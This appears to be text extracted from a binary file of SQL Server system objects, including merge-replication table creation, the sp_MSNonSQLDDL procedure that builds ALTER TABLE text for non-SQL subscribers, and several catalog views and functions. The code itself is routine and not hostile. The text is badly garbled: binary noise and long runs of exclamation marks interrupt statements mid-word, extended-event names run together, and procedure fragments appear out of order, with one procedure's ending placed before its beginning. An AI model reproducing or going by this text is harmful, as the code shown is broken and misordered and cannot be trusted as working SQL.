            exec dbo.sp_MS_marksystemobject MSmerge_past_partition_mappings

            create clustered index cMSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (tablenick, rowguid)
            if @@ERROR <> 0
                goto Error

            create nonclustered index nc1MSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (publication_number, partition_id)
            if @@ERROR <> 0
                goto Error
                
                
            create nonclustered index nc2MSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (generation, tablenick) include (publication_number, partition_id)
            if @@ERROR <> 0
                goto Error
        end
        
        if object_id('MSmerge_dynamic_snapshots', 'U') is NULL
        begin
            create table dbo.MSmerge_dynamic_snapshots (
                    partition_id int not null primary key clustered foreign key references dbo.MSmerge_partition_groups(partition_id) on delete cascade, 
                    dynamic_snapshot_location nvarchar(255) null, 
                    last_updated datetime null,
                    last_started datetime null)
            if @@ERROR <> 0 goto Error

            exec dbo.sp_MS_marksystemobject MSmerge_dynamic_snapshots            
        end

        if object_id('MSmerge_supportability_settings', 'U') is NULL
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<83zXZ    begin
            create table dbo.MSmerge_supportability_settings (
                    pubid                uniqueidentifier    NULL,
                    subid                uniqueidentifier    NULL,
                    web_server           sysname             NULL,                
                    constraint           unique_supportpubsrvdb     unique nonclustered (pubid, subid, web_server),
                    support_options      int NOT NULL default(0),    -- check the SUPPORT_OPTIONS enum in agent code.
                    log_severity         int NOT NULL default(2),
                    log_modules          int NOT NULL default(0),
                    log_file_path        nvarchar(255) NULL,
                    log_file_name        sysname NULL,
                    log_file_size        int NOT NULL default(10000000),
                    no_of_log_files      int NOT NULL default(5),
                    upload_interval      int NOT NULL default(0),
                    delete_after_upload  int NOT NULL default(0),                    
                    custom_script        nvarchar(2048) NULL,
                    message_pattern      nvarchar(2000) NULL,
                    last_log_upload_time datetime       NULL,
                    agent_xe               varbinary(max) NULL,
                    agent_xe_ring_buffer  varbinary(max) NULL,
                    sql_xe                   varbinary(max) NULL
               )
            if @@ERROR <> 0 goto Error

            exec dbo.sp_MS_marksystemobject MSmerge_supportability_settings            
        end

        if object_id('MSmerge_log_files', 'U') is NULL
        begin
            create table dbo.MSmerge_log_files (
                    id                   int identity(1,1),
                    pubid                uniqueidentifier    NULL,
                    subid                uniqueidentifier    NULL,
                    web_server           sysname             NULL,
                    file_name            nvarchar(2000)      NOT NULL,
                    upload_time          datetime            NOT NULL default getdate(),
                    log_file_type        int                 NOT NULL, -- Check UPLOAD_LOG_FILE_TYPE enum in agent code.
                    log_file             varbinary(max)      NULL
                )
            if @@ERROR <> 0 goto Error

            create clustered index ucMSmerge_log_files on MSmerge_log_files(pubid, subid, id) 
            if @@ERROR <> 0 goto Error

            exec dbo.sp_MS_marksystemobject MSmerge_log_files            
        end
    end --1=@whattocreate
    else
    begin
        exec @retval= sys.sp_MScreatelightweightmetatables
        if @@ERROR <> 0 or @retval <> 0 goto Error
    end
        
    if object_id('sp_MScreatedebuginfrastructure','P') is not null
    begin
        exec @retval= sys.sp_MScreatedebuginfrastructure
        if @@ERROR <> 0 or @retval <> 0 goto Error
    end
    
    commit transaction
    return (0)
Error:
    ROLLBACK TRANSACTION sp_MScreate_mergesystables
    COMMIT TRANSACTION
    RAISERROR (20008, 16, -1)
    return (1)
>>         begin
                        select @schematext = @schematext + N'on update ' + 
                        case @update_referential_action
                            when 1 then N'cascade '
                            when 2 then N'set null '
                            when 3 then N'set default '
                        end
                     end

                     if @is_not_for_replication = 1
                     begin
                        select @schematext = @schematext + N'not for replication '
                     end
                    
            select @foreign_key_constid = min(constraint_object_id) from sys.foreign_key_columns 
                where parent_object_id=@objid and (@columnName=N'' or @columnName = object_name(constraint_object_id))
                     and constraint_object_id > @foreign_key_constid
        end
    end
    else if @schemasubtype = @schemasubtype_dropconstraint  -- drop constraint
    begin
        -- removed this for bug 686296
        -- N' if object_id(''' +@qual_column+ N''') is not null ' +
        select @schematext = 
        N'alter table ' + @non_qualified_name + ' drop constraint ' + @qual_column
    end
    else if @schemasubtype = @schemasubtype_adddf -- add default constraint
    begin
        if @columnName=N'' or @columnName is NULL
            select @constraint_Name=N'[replication_default_' + convert(nvarchar(36), newid()) +']'
        else
            select @constraint_Name = @columnName
            
        select @default_constraint_definition = dc.definition, @column_with_default = c.name
        from sys.default_constraints dc join sys.columns c
        on dc.parent_object_id = c.object_id
        and dc.parent_column_id = c.column_id
        and dc.name = @constraint_Name
        
        -- if we added the column for this default in this same ALTER TABLE statement, then we would have 
        -- already posted an ALTER TABLE ADD COLUMN x DEFAULT y - so no need to post a separate ALTER TABLE ADD DEFAULT.
        
        if object_id(N'tempdb..#merge_altertable', 'U') is not null
        begin
			if exists (select * from #merge_altertable where ColumnName = @column_with_default
						and TableName = object_name(@objid)
						and DDLsubtype = N'ADDCOLUMN')
				return 0
        end
            
        select @schematext = N'alter table ' + @non_qualified_name + N' add constraint ' + quotename(@constraint_Name)
                    + N' default ' + @default_constraint_definition + N' for ' + quotename(@column_with_default)
    end
    else
        select @schematext = N' ' --place-holder for alter column
            
    exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext, @schemasubtype 
    if @@ERROR<>0 or @retcode<>0
    begin
        
        raiserror(21533, 16, -1)                            
        return (1)
    end
return (0)
+r+ratch_statistics0??1unprepare_sql0 A?+user_event0??=xml_deadlock_report0??;xquery_static_type((assembly_loadbroker_conversationremote_message_acknowledgementcursor_opendatabase_suspect_data_pageexception_ring_buffer_recordedlock_acquiredgoutoledb_callprepare_sqlquery_post_compilation_showplanre_execution_showplanscan_stoppedp_statement_startingtransaction_loguser_event@

 >Ic


!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<(!-v>create procedure sys.sp_MSNonSQLDDL(
@qual_source_object nvarchar(540),
@pubid uniqueidentifier,
@columnName sysname,
@schemasubtype int = 1 
)
AS
    declare @len            int
    declare @prec            int
    declare @scale int
    declare @typename nvarchar(270)
    declare @objid int
    declare @schemaversion int 
    declare @artname sysname
    declare @schemaguid    uniqueidentifier
    declare @schematype    int
    declare @retcode int
    declare @artid uniqueidentifier
    declare @non_qualified_name nvarchar(255)
    declare @qual_column        nvarchar(255)
    declare @is_null            int
    declare @is_null_string     nvarchar(20)
    declare @schematext    nvarchar(max)
    declare @index_id int
    declare @column_list nvarchar(4000)
    declare @foreign_key_list nvarchar(4000)
    declare @reference_column_list nvarchar(4000)
    declare @column sysname
    declare @parent_column_id int
    declare @foreign_key_constid int
    declare @reference_column_id int
    declare @foreign_key_id int
    declare @foreign_key_column sysname
    declare @reference_column sysname
    declare @colid int
    declare @is_identity bit
    declare @identity_property nvarchar(1000)
    declare @seed_value sql_variant
    declare @increment_value sql_variant
    declare @referenced_object_id int
    declare @constraint_Name sysname
    declare @key_ordinal tinyint
    declare @default_constraint_definition nvarchar(2000)
    declare @default_constraint_name sysname
    declare @column_with_default sysname

    declare @publisher sysname
    declare @publisher_db sysname

    declare @is_not_for_replication bit  
            ,@delete_referential_action tinyint
            ,@update_referential_action tinyint
    
    select @identity_property = NULL
    select @qual_column=QUOTENAME(@columnName)
    select @seed_value=NULL, @increment_value=NULL
    select @objid = object_id(@qual_source_object)        

    --enum of constants
    declare  @schemasubtype_addcolumn int
            ,@schemasubtype_dropcolumn int
            ,@schemasubtype_altercolumn int
            ,@schemasubtype_disabletrigger int
            ,@schemasubtype_enabletrigger int
            ,@schemasubtype_disabletriggerall int
            ,@schemasubtype_enabletriggerall int
            ,@schemasubtype_dropconstraint int
            ,@schemasubtype_enableconstraint int
            ,@schemasubtype_disableconstraint int
            ,@schemasubtype_enableconstraintall int
            ,@schemasubtype_disableconstraintall int
            ,@schemasubtype_addfk int
            ,@schemasubtype_addun int
            ,@schemasubtype_addchk int
            ,@schemasubtype_adddf int
            ,@schemasubtype_addpk int

    select @schemasubtype_addcolumn = 1 					    --N'ADDCOLUMN'
        ,@schemasubtype_dropcolumn =  2 					    --N'DROPCOLUMN'
        ,@schemasubtype_altercolumn = 3 					    --N'ALTERCOLUMN'
        ,@schemasubtype_addpk = 4							    --N'ADDPRIMARYKEY'
        ,@schemasubtype_addun = 5							    --N'ADDUNIQUE'
        ,@schemasubtype_addfk = 6				        --N'ADDREFERENCE'
        ,@schemasubtype_dropconstraint = 7  			        --N'DROPCONSTRAINT'
        ,@schemasubtype_adddf = 8       						--N'ADDDEFAULT'
        ,@schemasubtype_addchk = 9  							--N'ADDCHECK'
        ,@schemasubtype_disabletrigger = 10 				    --N'DISABLETRIGGER'
        ,@schemasubtype_enabletrigger = 11		    		    --N'ENABLETRIGGER'
        ,@schemasubtype_disabletriggerall = 12		            --N'DISABLETRIGGER'
        ,@schemasubtype_enabletriggerall = 13       	        --N'ENABLETRIGGER'
        ,@schemasubtype_enableconstraint = 14   		        --N'ENABLECONSTRAINT'
        ,@schemasubtype_disableconstraint = 15  		        --N'DISABLECONSTRAINT'
        ,@schemasubtype_enableconstraintall = 16    	        --N'ENABLECONSTRAINT'
        ,@schemasubtype_disableconstraintall = 17   	        --N'DISABLECONSTRAINT'


    --don't worry about non-sql if you don't own this publication
    select @publisher=publisher, @publisher_db=publisher_db from dbo.sysmergepublications where pubid=@pubid
    if LOWER(@publisher)<>LOWER(publishingservername()) or @publisher_db<>db_name()
        return(0)
    
    --get non-qualified object name for heter- subscribers to use
    select @non_qualified_name = QUOTENAME(object_name(objid)),
           @artid= artid
        from dbo.sysmergearticles where pubid=@pubid and objid=@objid

    select @schemaversion = schemaversion from dbo.sysmergeschemachange
    
    if (@schemaversion is NULL)
        set @schemaversion = 1
    else
        select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
        
    set @schemaguid = newid()
    set @schematype = 13 /* schema type for ALTER TABLE for non-SQL subscribers*/

    if @schemasubtype=@schemasubtype_dropcolumn    -- drop column
    begin
        select @schematext = N'alter table ' + @non_qualified_name + ' drop column ' + @qual_column
    end
    else if @schemasubtype in (1,3) -- add column and alter column
    begin
        -- need to change code to use sys.columns category view.
        select @typename = case system_type_id when 240 then type_name(user_type_id) else type_name(system_type_id) end, 
        		@len = max_length, @prec = precision,@scale = scale, @is_null=is_nullable
                from sys.columns where name=@columnName and object_id=@objid                
        if @typename='nvarchar' or @typename='nchar' -- a unit of nchar takes 2 bytes 
            select @len = @len/2
        if @is_null = 1
            select @is_null_string = N' NULL '
        else
            select @is_null_string = N' not NULL '

        exec @retcode = sys.sp_MSRecontructType @typename out, @len, @prec, @scale
        if @@error<>0 OR @retcode <>0 
            return (1)

             declare @definition nvarchar(1024)
             set @definition=NULL
             select @definition=definition from sys.computed_columns where name=@columnName and object_id=@objid
            
        select @is_identity=is_identity, @colid=column_id from sys.columns where object_id=@objid and name=@columnName
        if @is_identity = 1
        begin
            select @seed_value=seed_value, @increment_value=increment_value from sys.identity_columns 
                where object_id=@objid and column_id=@colid
            if @seed_value is NULL or @increment_value is NULL
                raiserror(21263, 16, -1, '@seed_value')
            select @identity_property = N'(' + convert(nvarchar, @seed_value) + N',' + convert(nvarchar, @increment_value) + N')'
        end
        if @schemasubtype = @schemasubtype_addcolumn
        begin
            if @definition is null
            begin
                select @schematext = N'alter table ' + @non_qualified_name + ' add ' + @qual_column    + N' ' + @typename + N' ' + @is_null_string
                
                -- does this column have a default?
                select @default_constraint_name = name, @default_constraint_definition = definition
                from sys.default_constraints
                where parent_object_id = @objid
                and parent_column_id = @colid
                and type = 'D'
                
                if @default_constraint_name is not null and @default_constraint_definition is not null
                begin
                    select @schematext = @schematext + N' constraint ' + quotename(@default_constraint_name) +
                        ' default ' + @default_constraint_definition
                end
            end
            else
            begin
               select @schematext = N'alter table ' + @non_qualified_name + ' add ' + @qual_column    + N' as ' + @definition
            end
        end
        else if @schemasubtype = @schemasubtype_altercolumn
            select @schemat!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(&.Dv>ext = N'alter table ' + @non_qualified_name + ' alter column ' + @qual_column    + N' ' + @typename + N' ' + @is_null_string
        if @is_identity=1 and @identity_property is not NULL
            select @schematext = @schematext + N' identity ' + @identity_property
    end
    else if @schemasubtype = @schemasubtype_addpk  --add primary key
    begin
        if @columnName=N'' or @columnName is NULL
            select @constraint_Name=N'[replication_primary_' + convert(nvarchar(36), newid()) +']'
        else
            select @constraint_Name = @columnName
        select @index_id=index_id from sys.indexes where object_id = @objid and is_primary_key=1
        select @column_list = N' ', @column = NULL, @colid=NULL

        set @key_ordinal=NULL
        select @key_ordinal = min(key_ordinal)
            from sys.index_columns
            where object_id = @objid 
            and index_id=@index_id 
            and key_ordinal>0
                    
        while @key_ordinal is not NULL
        begin
            select @colid = column_id 
                from sys.index_columns 
                where object_id = @objid 
                and index_id=@index_id 
                and key_ordinal=@key_ordinal
        
            select @column = name from sys.columns where object_id=@objid and column_id = @colid
            
            if @column_list = N' '
                select @column_list = @column
            else 
                select @column_list = @column_list + N', ' + @column

            select @key_ordinal = min(key_ordinal)
                from sys.index_columns
                where object_id = @objid 
                and index_id=@index_id 
                and key_ordinal>@key_ordinal
                and key_ordinal>0
        end
        select @schematext = N'alter table ' + @non_qualified_name + N' add constraint ' + @constraint_Name
                    + N' primary key (' + @column_list + N')'
    end
    else if @schemasubtype = @schemasubtype_addun -- add unique constraint
    begin
        if @columnName=N'' or @columnName is NULL
            select @constraint_Name=N'[replication_unique_' + convert(nvarchar(36), newid()) +']'
        else
            select @constraint_Name = @columnName

        select @index_id=index_id from sys.indexes where object_id = @objid and is_unique_constraint =1
        select @column_list = N' ', @column = NULL, @colid=NULL

        set @key_ordinal=NULL
        select @key_ordinal = min(key_ordinal)
            from sys.index_columns
            where object_id = @objid 
            and index_id=@index_id 
            and key_ordinal>0

        while @key_ordinal is not NULL
        begin
            select @colid = column_id 
                from sys.index_columns 
                where object_id = @objid 
                and index_id=@index_id 
                and key_ordinal=@key_ordinal
        
            select @column = name from sys.columns where object_id=@objid and column_id = @colid
            if @column is NULL
                raiserror(14043, 16, 1, '@column', 'sp_MSNonSQLDDL')
            if @column_list = N' '
                select @column_list = @column
            else 
                select @column_list = @column_list + N', ' + @column

            select @key_ordinal = min(key_ordinal)
                from sys.index_columns
                where object_id = @objid 
                and index_id=@index_id 
                and key_ordinal>@key_ordinal
                and key_ordinal>0                
        end
        select @schematext = N'alter table ' + @non_qualified_name + N' add constraint ' + @constraint_Name 
                    + ' unique (' + @column_list + N')'
    end
    else if @schemasubtype=@schemasubtype_addfk --add reference
    begin
        if @columnName=N'' or @columnName is NULL
            select @constraint_Name=N'[replication_foreign_' + convert(nvarchar(36), newid()) + ']'
        else
            select @constraint_Name = @columnName
        select @constraint_Name = QUOTENAME(@constraint_Name)
        select @schematext = N' '
        select @foreign_key_constid = NULL

        --can not use TOP 1 here, as the result won't be NULL when done. Same below
        --@columnName = N'' means that it is a column level foreign key; otherwise, we qualify with constraint name of @columnName

        select @foreign_key_constid = min(constraint_object_id) from sys.foreign_key_columns 
            where parent_object_id=@objid and (@columnName=N'' or @columnName = object_name(constraint_object_id))
        while (@foreign_key_constid is not NULL)
        begin
            select @reference_column_list=N' ', @foreign_key_list=N' ' 
            select @parent_column_id = NULL, @reference_column_id = NULL
            select @parent_column_id = min(parent_column_id) from sys.foreign_key_columns 
                where parent_object_id=@objid and constraint_object_id = @foreign_key_constid
            while (@parent_column_id is not NULL)
            begin
                select @reference_column_id=referenced_column_id, @referenced_object_id=referenced_object_id from sys.foreign_key_columns 
                    where parent_object_id=@objid and constraint_object_id = @foreign_key_constid and parent_column_id=@parent_column_id
                select @reference_column = name from sys.columns where object_id=@referenced_object_id and column_id=@reference_column_id
                select @foreign_key_column=name from sys.columns where object_id=@objid and column_id=@parent_column_id
                if @reference_column_list = N' '
                    select @reference_column_list = @reference_column
                else
                    select @reference_column_list = @reference_column_list + N',' + @reference_column
                if @foreign_key_list = N' '
                    select @foreign_key_list = @foreign_key_column
                else
                    select @foreign_key_list = @foreign_key_list + N',' + @foreign_key_column
                select @parent_column_id = min(parent_column_id) from sys.foreign_key_columns 
                    where parent_object_id=@objid and constraint_object_id = @foreign_key_constid and parent_column_id > @parent_column_id                    
            end
                        
            if @schematext = N' '
                select @schematext = N'alter table ' + @non_qualified_name + N' add constraint ' + @constraint_Name
                    + N' foreign key (' + @foreign_key_list + N') references ' + object_name(@referenced_object_id) + N' (' + @reference_column_list + N' ) '
            else
                select @schematext = @schematext + N', constraint ' + @constraint_Name + 
                    N' foreign key (' + @foreign_key_list + N') references ' +
                        object_name(@referenced_object_id) + N' (' + @reference_column_list + N' ) '

            -- check if we need to add CASCADE attribute
                     select @is_not_for_replication=is_not_for_replication,  
                              @delete_referential_action=delete_referential_action, 
                              @update_referential_action=update_referential_action
                        from sys.foreign_keys
                        where parent_object_id = @objid and name=@columnName

                     if @delete_referential_action in (1,2,3)
                     begin
                        select @schematext = @schematext + N'on delete ' + 
                        case @delete_referential_action
                            when 1 then N'cascade '
                            when 2 then N'set null '
                            when 3 then N'set default '
                        end
                     end
                     
                     if @update_referential_action in (1,2,3)
            !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<$f>V\h>8^}p@:N!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`_	<'#0qV 8
create procedure sys.sp_primary_keys_rowset2
(
    @table_schema       sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG   = s_pkv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_pkv.TABLE_SCHEMA,
        TABLE_NAME      = s_pkv.TABLE_NAME,
        COLUMN_NAME     = s_pkv.COLUMN_NAME,
        COLUMN_GUID     = s_pkv.COLUMN_GUID,
        COLUMN_PROPID   = s_pkv.COLUMN_PROPID,
        ORDINAL         = s_pkv.ORDINAL,
        PK_NAME         = s_pkv.PK_NAME
    from
        sys.spt_primary_keys_view s_pkv
    where
        (@table_schema is null or schema_id(@table_schema) = s_pkv.schema_id)
    order by 2, 3
0
 	8
CREATE FUNCTION sys.dm_sql_referencing_entities(@name nvarchar(517), @referenced_class nvarchar(60))
	RETURNS TABLE
	AS		   
	RETURN 
		SELECT DISTINCT
			d.referencing_schema_name as referencing_schema_name,
			d.referencing_entity_name as referencing_entity_name,
			d.referencing_id as referencing_id, 
			d.referencing_class as referencing_class, 
			d.referencing_class_desc as referencing_class_desc, 
			d.is_caller_dependent as is_caller_dependent 
		FROM sys.sql_expression_dependencies$ as d 
		WHERE d.referenced_class = 	CASE LOWER (@referenced_class collate Latin1_General_CI_AS) 
									WHEN N'object' THEN 1 
									WHEN N'type' THEN 6
									WHEN N'xml_schema_collection' THEN 10 
									WHEN N'partition_function' THEN 21 
									ELSE 0 END
			AND d.referenced_entity_name = parsename(@name, 1)
			AND 
			(-- Match by id (if caller dependent, then id will be NULL)
			d.referenced_id = entity_id(parsename(@name, 4), 
						parsename(@name, 3), 
						parsename(@name, 2), 
						parsename(@name, 1), 
						CASE LOWER (@referenced_class collate Latin1_General_CI_AS)
						WHEN N'object' THEN 1
						WHEN N'type' THEN 6 
						WHEN N'xml_schema_collection' THEN 10 
						WHEN N'partition_function' THEN 21 
						ELSE 0 
						END,
						0, 
						NULL)
			OR
			-- Match by name if caller dependent ref. and the referencing object is on this server in the current DB. 
			-- This will show all possible caller dependent references on the given object. 
			((d.is_caller_dependent = 1 AND 
				(d.referenced_database_name IS NULL OR
					((d.referenced_server_name IS NULL OR d.referenced_server_name = @@SERVERNAME) AND (d.referenced_database_name = N'' OR d.referenced_database_name = DB_NAME()))))
			))
			AND -- caller needs to have CONTROL permission on the referenced entity
				CASE LOWER (@referenced_class collate Latin1_General_CI_AS)
				WHEN N'object' THEN has_perms_by_name(@name, 'OBJECT', 'CONTROL')
				WHEN N'type' THEN has_perms_by_name(@name, 'TYPE', 'CONTROL')
				WHEN N'xml_schema_collection' THEN has_perms_by_name(@name, 'XML SCHEMA COLLECTION', 'CONTROL')
				WHEN N'partition_function' THEN has_perms_by_name(quotename(db_name()), 'DATABASE', 'CONTROL')
				ELSE 0
				END = 1
0@ 8create procedure sys.sp_MScreate_sysmergeschemaarticles_table
as
    -- The extended merge articles table is for storing schema only article information. 
    -- The current supported schema only articles are stored procs and views.

    create table dbo.sysmergeschemaarticles 
    (   name                    sysname             NOT NULL,
        type                    tinyint             NULL,
        objid                   int                 NOT NULL,
        artid                   uniqueidentifier    NOT NULL,
        description             nvarchar(255)       NULL,
        pre_creation_command    tinyint             NULL,
        pubid                   uniqueidentifier    NOT NULL,
        status                  tinyint             NULL,
        creation_script         nvarchar(255)       NULL,
        schema_option           binary(8)           NULL,
        destination_object      sysname             NOT NULL,
        destination_owner       sysname             NULL,
        processing_order        int                    NOT NULL default 0
        -- Note: Please update sysmergeextendedarticlesview whenever
        -- there is a schema change in sysmergeschemaarticles
    )
    if @@error<>0 return 1

    create unique clustered index uc1sysmergeschemaarticles
        on sysmergeschemaarticles(artid, pubid)
    if @@error <> 0 return 1

    exec dbo.sp_MS_marksystemobject sysmergeschemaarticles
    if @@error <> 0 return 1

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<^{0@ o8CREATE VIEW sys.dm_os_stacks AS
	SELECT *
	FROM OpenRowSet(TABLE SYSSTACKS)
0@ 8create procedure sys.sp_MSResetTriggerProcs(
@qual_source_object nvarchar(540),
@pubid uniqueidentifier,
@article_level_only bit = 0,
@upgrade bit = 0
)
AS
declare @artid uniqueidentifier
declare @artname sysname
declare @retcode int
declare @objid int
declare @at_publisher bit
declare @publisher sysname
declare @publisher_db sysname
declare @pubname sysname
declare @len            int
declare @prec            int
declare @scale int
declare @typename nvarchar(270)
declare @command nvarchar(500)
declare @islightweight bit

select @objid = object_id(@qual_source_object)

-- Check whether the article is heavy- or lightweight.
select top 1 @islightweight= lightweight from dbo.sysmergearticles where objid=@objid

select @artid=artid, @artname=name from dbo.sysmergearticles where pubid=@pubid and objid=@objid
select @publisher=publisher, @pubname = name, @publisher_db=publisher_db from dbo.sysmergepublications where pubid=@pubid

select @at_publisher= 0

if 0=@islightweight
begin
    if upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
       @publisher_db=db_name()
    begin
        select @at_publisher= 1
    end
end

if @at_publisher = 1
begin
    /* By default, regenerate all the publication views, otherwise only for a give article */
    if (@article_level_only = 0)
    begin
        exec @retcode = sys.sp_MSpublicationview @publication = @pubname, @force_flag = 1
        if @@ERROR<>0 or @retcode <>0 return (1)
    end
    else
    begin
        exec @retcode = sys.sp_MSpublicationview @publication = @pubname, @force_flag = 2, @articlename = @artname
        if @@ERROR<>0 or @retcode <>0 return (1)
    end
end
else if 0=@islightweight -- Create the subscriber-side logical record views before creating merge triggers.
begin
	exec @retcode = sys.sp_MScreate_logical_record_views @pubid
    if @@ERROR<>0 or @retcode <>0 return (1)
end

exec @retcode = sys.sp_MSaddmergetriggers @qual_source_object
if @retcode<>0 or @@ERROR<>0 return (1)

/*
** Force the regeneration of merge procs for all publications that publish the current table
*/
if @at_publisher = 1
    exec @retcode= sys.sp_MSsetartprocs @publication=@pubname, @article=@artname, @force_flag=0, @pubid=@pubid
else  if @upgrade = 1  --this flag is only used when we call sp_vupgrade_mergeobjects codepath.
    exec @retcode = sys.sp_MSmakearticleprocs @pubid, @artid, 1    
else
    exec @retcode = sys.sp_MSmakearticleprocs @pubid, @artid
if @retcode<>0 or @@ERROR<>0 return (1)

/*
** passing in one more parameter to sp_MSgetconflictinsertproc such that there is 
** no select statement at the end of that SP as needed else where. The default is 1.
*/
exec @retcode= sys.sp_MSgetconflictinsertproc @artid, @pubid, 0, 1
if @retcode<>0 or @@ERROR<>0 return (1)
    
return (0)
